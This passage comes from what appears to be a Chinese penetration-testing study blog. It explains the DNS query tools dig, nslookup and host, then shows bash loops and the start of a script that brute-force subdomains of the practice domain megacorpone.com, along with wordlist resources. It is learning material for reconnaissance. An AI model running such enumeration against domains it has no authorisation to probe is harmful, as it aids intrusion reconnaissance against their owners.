&lt;li&gt;&lt;code&gt;record_type&lt;/code&gt;：要查询的记录类型（如 &lt;code&gt;A&lt;/code&gt;, &lt;code&gt;AAAA&lt;/code&gt;, &lt;code&gt;MX&lt;/code&gt;, &lt;code&gt;NS&lt;/code&gt;, &lt;code&gt;TXT&lt;/code&gt;, &lt;code&gt;CNAME&lt;/code&gt;, &lt;code&gt;SOA&lt;/code&gt;, &lt;code&gt;PTR&lt;/code&gt;, &lt;code&gt;SRV&lt;/code&gt;）。不指定默认为 &lt;code&gt;A&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;常用选项：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;+short&lt;/code&gt;：只显示最精简的结果（通常就是记录值）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+noall +answer&lt;/code&gt;：只显示查询的答案部分（最常用）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询示例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 A 记录：&lt;code&gt;dig example.com A&lt;/code&gt; 或 &lt;code&gt;dig +short example.com A&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 MX 记录：&lt;code&gt;dig example.com MX +noall +answer&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 NS 记录：&lt;code&gt;dig example.com NS&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 TXT 记录（常用于看 SPF/DKIM/DMARC）：&lt;code&gt;dig example.com TXT&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;www.example.com&lt;/code&gt; 的 CNAME 记录：&lt;code&gt;dig www.example.com CNAME&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 SOA 记录：&lt;code&gt;dig example.com SOA&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 PTR 记录（反向解析 &lt;code&gt;93.184.216.34&lt;/code&gt;）：&lt;code&gt;dig -x 93.184.216.34&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 SRV 记录（如 SIP TCP 服务）：&lt;code&gt;dig _sip._tcp.example.com SRV&lt;/code&gt;
&lt;img alt="image-20250704125117898" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704125117898.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704125222789.png"&gt;
&lt;img alt="image-20250704125324843" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704125324843.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704125414624" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704125414624.png"&gt;
&lt;img alt="image-20250704125506701" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704125506701.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;nslookup&lt;/code&gt;：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;交互式命令行工具，&lt;/strong&gt; 也支持非交互模式。功能不如 &lt;code&gt;dig&lt;/code&gt; 强大，但更简单直观。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;基本语法（非交互）：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nslookup [-type=record_type] [domain] [server]
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-type=record_type&lt;/code&gt;：指定记录类型（如 &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;aaaa&lt;/code&gt;, &lt;code&gt;mx&lt;/code&gt;, &lt;code&gt;ns&lt;/code&gt;, &lt;code&gt;txt&lt;/code&gt;, &lt;code&gt;cname&lt;/code&gt;, &lt;code&gt;soa&lt;/code&gt;, &lt;code&gt;ptr&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;domain&lt;/code&gt;：要查询的域名或主机名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;server&lt;/code&gt;：可选，指定查询哪个 DNS 服务器。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;交互模式： 直接输入&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;nslookup
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;，然后按提示输入命令：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;server 8.8.8.8&lt;/code&gt;：设置默认查询服务器。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;set type=mx&lt;/code&gt;：设置查询的记录类型。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;example.com&lt;/code&gt;：执行查询。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;exit&lt;/code&gt;：退出。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询示例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 A 记录：&lt;code&gt;nslookup example.com&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 MX 记录：&lt;code&gt;nslookup -type=mx example.com&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 TXT 记录：&lt;code&gt;nslookup -type=txt example.com&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询 PTR 记录：&lt;code&gt;nslookup 93.184.216.34&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704124912548" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704124912548.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704125001942" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704125001942.png"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;host&lt;/code&gt;：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;简单易用的工具，&lt;/strong&gt; 输出比 &lt;code&gt;dig +short&lt;/code&gt; 稍详细一点，但不如 &lt;code&gt;dig&lt;/code&gt; 完整。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;基本语法：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;host [-t record_type] [domain] [server]
└─$ host -v
Usage: host [-aCdilrTvVw] [-c class] [-N ndots] [-t type] [-W time]
 [-R number] [-m flag] [-p port] hostname [server]
 -a is equivalent to -v -t ANY
 -A is like -a but omits RRSIG, NSEC, NSEC3
 -c specifies query class for non-IN data
 -C compares SOA records on authoritative nameservers
 -d is equivalent to -v
 -l lists all hosts in a domain, using AXFR
 -m set memory debugging flag (trace|record|usage)
 -N changes the number of dots allowed before root lookup is done
 -p specifies the port on the server to query
 -r disables recursive processing
 -R specifies number of retries for UDP packets
 -s a SERVFAIL response should stop query
 -t specifies the query type
 -T enables TCP/IP mode
 -U enables UDP mode
 -v enables verbose output
 -V print version number and exit
 -w specifies to wait forever for a reply
 -W specifies how long to wait for a reply
 -4 use IPv4 query transport only
 -6 use IPv6 query transport only
用法：host [-aCdilrTvVw][-c 类别][-N 点数][-t 类型][-W 时间]
[-R 次数][-m 标志][-p 端口]主机名 [服务器]
-a 等同于 -v -t ANY
-A 类似 -a 但不包含 RRSIG、NSEC、NSEC3
-c 指定非 IN 数据的查询类别
-C 比较权威名称服务器上的 SOA 记录
-d 等同于 -v
-l 列出域中的所有主机，使用 AXFR
-m 设置内存调试标志（跟踪记录|使用情况）
N 更改在执行根查找前允许的点数
-p 指定要查询的服务器端口
-r 禁用递归处理
-R 指定 UDP 数据包的重试次数
-s SERVFAIL 响应应停止查询
-t 指定查询类型
-T 启用 TCP/IP 模式
-U 启用 UDP 模式
-v 启用详细输出
-V 打印版本号并退出
-w 指定无限期等待回复
-W 指定等待回复的时间
-4 仅使用 IPv4 查询传输
-6 仅使用 IPv6 查询传输
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-t record_type&lt;/code&gt;：指定记录类型（如 &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;aaaa&lt;/code&gt;, &lt;code&gt;mx&lt;/code&gt;, &lt;code&gt;ns&lt;/code&gt;, &lt;code&gt;txt&lt;/code&gt;, &lt;code&gt;cname&lt;/code&gt;, &lt;code&gt;soa&lt;/code&gt;, &lt;code&gt;ptr&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;domain&lt;/code&gt;：要查询的域名或主机名。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;server&lt;/code&gt;：可选，指定查询哪个 DNS 服务器。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;查询示例：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 A 记录：&lt;code&gt;host example.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 MX 记录：&lt;code&gt;host -t mx example.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;查询 &lt;code&gt;example.com&lt;/code&gt; 的 TXT 记录：&lt;code&gt;host -t txt example.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;查询 PTR 记录：&lt;code&gt;host 93.184.216.34&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;host www.megacorpone.com 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;host -t mx megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;host -t txt megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;host -t ns megacorpone.com
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;host -C megacorpone.com &lt;span class="c1"&gt;# 比较所有权威DNS服务器的 SOA 序列号&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704123211848" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704123211848.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704124502076" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704124502076.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704124608759" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704124608759.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704124705157" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704124705157.png"&gt;&lt;/p&gt;
&lt;p&gt;反查IP对应的域名&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704123709940" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704123709940.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704124515624" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704124515624.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;总结：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;dig&lt;/code&gt;&lt;/strong&gt; 是专业首选，信息最全，功能最强。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;nslookup&lt;/code&gt;&lt;/strong&gt; 交互模式适合简单探索。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;host&lt;/code&gt;&lt;/strong&gt; 适合快速获取简洁结果。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;当然，DNS查询也可以通过一些在线网站查询。&lt;/p&gt;
&lt;h3 id="正向子域名爆破"&gt;正向子域名爆破
&lt;/h3&gt;&lt;p&gt;写一个列表，用循环来实现爆破&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;cat &amp;gt; list.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;www
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;ftp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;mail
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;owa
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;proxy
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;router
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 回车后按ctrl D 结束保存&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; ip in &lt;span class="k"&gt;$(&lt;/span&gt;cat list.txt&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; host &lt;span class="nv"&gt;$ip&lt;/span&gt;.megacorpone.com&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704130028322" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704130028322.png"&gt;&lt;/p&gt;
&lt;p&gt;使用AI帮助我们改进一下这个命令就是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r subdomain&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; host &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$subdomain&lt;/span&gt;&lt;span class="s2"&gt;.megacorpone.com&amp;#34;&lt;/span&gt; 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -v -e &lt;span class="s1"&gt;&amp;#39;not found&amp;#39;&lt;/span&gt; -e &lt;span class="s1"&gt;&amp;#39;^$&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; list.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;如果只想要IP就是&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; -r subdomain&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; host -t A &lt;span class="s2"&gt;&amp;#34;&lt;/span&gt;&lt;span class="nv"&gt;$subdomain&lt;/span&gt;&lt;span class="s2"&gt;.megacorpone.com&amp;#34;&lt;/span&gt; 2&amp;gt;/dev/null &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;/has address/ {print $4}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; list.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250704130715631" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704130715631.png"&gt;&lt;/p&gt;
&lt;p&gt;想要更全的子域名大字典可以用&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo apt install seclists
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;安装后在 &lt;code&gt;/usr/share/seclists&lt;/code&gt;目录下找到更多子域名列表来爆破，在Github上也能找到更多更强大的字典来爆破，日常渗透过程中也可以注意收集目标常用的信息来自制字典。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704131538916" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704131538916.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704131941696" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704131941696.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250704134649217" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/image-20250704134649217.png"&gt;&lt;/p&gt;
&lt;p&gt;字典越强大，扫的东西越多。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Similar Projects&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://wordlists.assetnote.io/" target="_blank" rel="noopener"
 &gt;Assetnote Wordlists&lt;/a&gt;: High quality wordlists for content and subdomain discovery which are automatically updated every month.&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/Bo0oM/fuzz.txt" target="_blank" rel="noopener"
 &gt;fuzz.txt&lt;/a&gt;: Wordlists of &amp;ldquo;potentially dangerous&amp;rdquo; files.&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/fuzzdb-project/fuzzdb" target="_blank" rel="noopener"
 &gt;FuzzDB&lt;/a&gt;: Dictionary of attack patterns and primitives for black-box application fault injection and resource discovery.&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/swisskyrepo/PayloadsAllTheThings" target="_blank" rel="noopener"
 &gt;PayloadsAllTheThings&lt;/a&gt;: A list of useful payloads and bypass for Web Application Security and Pentest/CTF&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/MusicGivesMeLife/BiblePass" target="_blank" rel="noopener"
 &gt;BiblePass&lt;/a&gt;: Wordlists compiled from Bible verses&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/the-xentropy/samlists" target="_blank" rel="noopener"
 &gt;SamLists&lt;/a&gt;: Data-driven wordlists containing HTTP parameter names, directory names and filenames.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Wordlist Tools&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/giteshnxtlvl/cook" target="_blank" rel="noopener"
 &gt;Cook&lt;/a&gt;: A wordlist framework. An overpowered wordlist generator, splitter, merger, finder and saver. Cook facilitates the creation of permutations and combinations with a variety of encodings and many more features.&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/s0md3v/wl" target="_blank" rel="noopener"
 &gt;Wl&lt;/a&gt;: CLI utility for converting strings to a given casing style.&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://github.com/digininja/CeWL" target="_blank" rel="noopener"
 &gt;CeWL&lt;/a&gt;: Custom Word List generator.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;用AI帮我们把工具加强一下。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 脚本名称: subdomainfind.sh&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 功能: 子域名枚举工具，支持原始输出、格式化表格和CSV导出&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 用法: ./subdomainfind.sh 域名 [-w 字典文件] [-o 输出文件]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 错误处理函数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;die&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;错误: &lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&lt;/span&gt; &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;用法: &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt; 域名 [-w 字典文件] [-o 输出文件]&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检查参数&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nv"&gt;$#&lt;/span&gt; -eq &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt; die &lt;span class="s2"&gt;&amp;#34;缺少域名参数&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;
